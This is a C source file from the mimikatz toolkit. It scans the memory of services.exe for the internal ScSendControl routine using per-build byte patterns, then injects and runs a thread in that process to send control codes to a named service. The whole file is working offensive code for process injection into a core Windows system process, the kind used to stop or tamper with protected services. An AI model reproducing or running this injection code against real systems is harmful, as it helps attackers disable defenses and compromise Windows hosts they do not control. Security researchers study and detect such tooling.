text: /*	Benjamin DELPY `gentilkiwi`
  	https://blog.gentilkiwi.com
  	benjamin@gentilkiwi.com
  	Licence : https://creativecommons.org/licenses/by/4.0/
  */
  #include "kuhl_m_service_remote.h"
  #if defined(SERVICE_INCONTROL)
  
  PVOID pScSendControl = NULL;
  
  #if defined(_M_X64)
  BYTE PTRN_WN61_ScSendControl[]		= {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x33, 0xc0};
  BYTE PTRN_WIN8_ScSendControl[]		= {0x48, 0x8d, 0x6c, 0x24, 0xf9, 0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x33, 0xc0};
  BYTE PTRN_WI10_ScSendControl[]		= {0x48, 0x8d, 0x6c, 0x24, 0xf9, 0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xf6};
  KULL_M_PATCH_GENERIC ScSendControlReferences[] = {
  	{KULL_M_WIN_BUILD_7,		{sizeof(PTRN_WN61_ScSendControl),	PTRN_WN61_ScSendControl},	{0, NULL}, {-26}},
  	{KULL_M_WIN_BUILD_8,		{sizeof(PTRN_WIN8_ScSendControl),	PTRN_WIN8_ScSendControl},	{0, NULL}, {-21}},
  	{KULL_M_WIN_BUILD_10_1507,		{sizeof(PTRN_WI10_ScSendControl),	PTRN_WI10_ScSendControl},	{0, NULL}, {-21}},
  };
  #elif defined(_M_IX86)
  BYTE PTRN_WN61_ScSendControl[]		= {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x94, 0x00, 0x00, 0x00, 0x53};
  BYTE PTRN_WIN8_ScSendControl[]		= {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xe4, 0xf8, 0x83, 0xec, 0x7c};
  BYTE PTRN_WI10_ScSendControl[]		= {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xe4, 0xf8, 0x83, 0xec, 0x7c, 0x53, 0x56, 0x57, 0x89};
  
  KULL_M_PATCH_GENERIC ScSendControlReferences[] = {
  	{KULL_M_WIN_BUILD_7,		{sizeof(PTRN_WN61_ScSendControl),	PTRN_WN61_ScSendControl},	{0, NULL}, {0}},
  	{KULL_M_WIN_BUILD_8,		{sizeof(PTRN_WIN8_ScSendControl),	PTRN_WIN8_ScSendControl},	{0, NULL}, {0}},
  	{KULL_M_WIN_BUILD_10_1507,		{sizeof(PTRN_WI10_ScSendControl),	PTRN_WI10_ScSendControl},	{0, NULL}, {0}},
  };
  #endif
  
  #pragma optimize("", off)
  DWORD WINAPI kuhl_service_sendcontrol_std_thread(PREMOTE_LIB_DATA lpParameter)
  {
  	lpParameter->output.outputStatus = ((PSCSENDCONTROL_STD) lpParameter->input.inputVoid)((LPCWSTR) lpParameter->input.inputData, 0, 0, 0, lpParameter->input.inputDword, 0, 0, 0, 0, 0, 0, 0, 0, 0);
  	return STATUS_SUCCESS;
  }
  DWORD kuhl_service_sendcontrol_std_thread_end(){return 'svcs';}
  
  DWORD WINAPI kuhl_service_sendcontrol_fast_thread(PREMOTE_LIB_DATA lpParameter)
  {
  	lpParameter->output.outputStatus = ((PSCSENDCONTROL_FAST) lpParameter->input.inputVoid)((LPCWSTR) lpParameter->input.inputData, 0, 0, 0, lpParameter->input.inputDword, 0, 0, 0, 0, 0, 0, 0, 0, 0);
  	return STATUS_SUCCESS;
  }
  DWORD kuhl_service_sendcontrol_fast_thread_end(){return 'svcf';}
  #pragma optimize("", on)
  
  BOOL kuhl_service_sendcontrol_inprocess(PWSTR ServiceName, DWORD dwControl)
  {
  	BOOL status = FALSE;
  	DWORD processId, szCode;
  	PVOID pCode;
  	HANDLE hProcess;
  	KULL_M_MEMORY_ADDRESS aRemoteFunc;
  	KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  	KULL_M_MEMORY_SEARCH sMemory;
  	PKULL_M_PATCH_GENERIC currentReference;
  	PEB Peb;
  	PIMAGE_NT_HEADERS pNtHeaders;
  	PREMOTE_LIB_INPUT_DATA iData;
  	REMOTE_LIB_OUTPUT_DATA oData;
  
  	if(kull_m_process_getProcessIdForName(L"services.exe", &processId))
  	{
  		if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, processId))
  		{
  			if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory))
  			{
  				if(!pScSendControl)
  				{
  					if(kull_m_process_peb(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, &Peb, FALSE))
  					{
  						sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = Peb.ImageBaseAddress;
  						if(kull_m_process_ntheaders(&sMemory.kull_m_memoryRange.kull_m_memoryAdress, &pNtHeaders))
  						{
  							sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase;
  							sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage;
  							if(currentReference = kull_m_patch_getGenericFromBuild(ScSendControlReferences, ARRAYSIZE(ScSendControlReferences), MIMIKATZ_NT_BUILD_NUMBER))
  							{
  								aLocalMemory.address = currentReference->Search.Pattern;
  								if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE))
  									pScSendControl = (PBYTE) sMemory.result + currentReference->Offsets.off0;
  								else PRINT_ERROR_AUTO(L"kull_m_memory_search");
  							}
  							LocalFree(pNtHeaders);
  						}
  					}
  				}
  
  				if(pScSendControl)
  				{
  					if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8)
  					{
  						szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_std_thread_end - (PBYTE) kuhl_service_sendcontrol_std_thread);
  						pCode = kuhl_service_sendcontrol_std_thread;
  					}
  					else
  					{
  						szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_fast_thread_end - (PBYTE) kuhl_service_sendcontrol_fast_thread);
  						pCode = kuhl_service_sendcontrol_fast_thread;
  					}
  					
  					if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, pCode, szCode, NULL, &aRemoteFunc))
  					{
  						if(iData = kull_m_remotelib_CreateInput(pScSendControl, dwControl, (DWORD) (wcslen(ServiceName) + 1) * sizeof(wchar_t), ServiceName))
  						{
  							if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
  							{
  								if(oData.outputStatus)
  									kprintf(L"error %u\n", oData.outputStatus);
  								else
  									kprintf(L"OK!\n");
  							}
  							else PRINT_ERROR_AUTO(L"kull_m_remotelib_create");
  							LocalFree(iData);
  						}
  						kull_m_memory_free(&aRemoteFunc, 0);
  					}
  					else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
  				}
  				else PRINT_ERROR(L"Not available without ScSendControl\n");
  				kull_m_memory_close(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory);
  			}
  			CloseHandle(hProcess);
  		}
  		else PRINT_ERROR_AUTO(L"OpenProcess");
  	}
  	return status;
  }
  #endif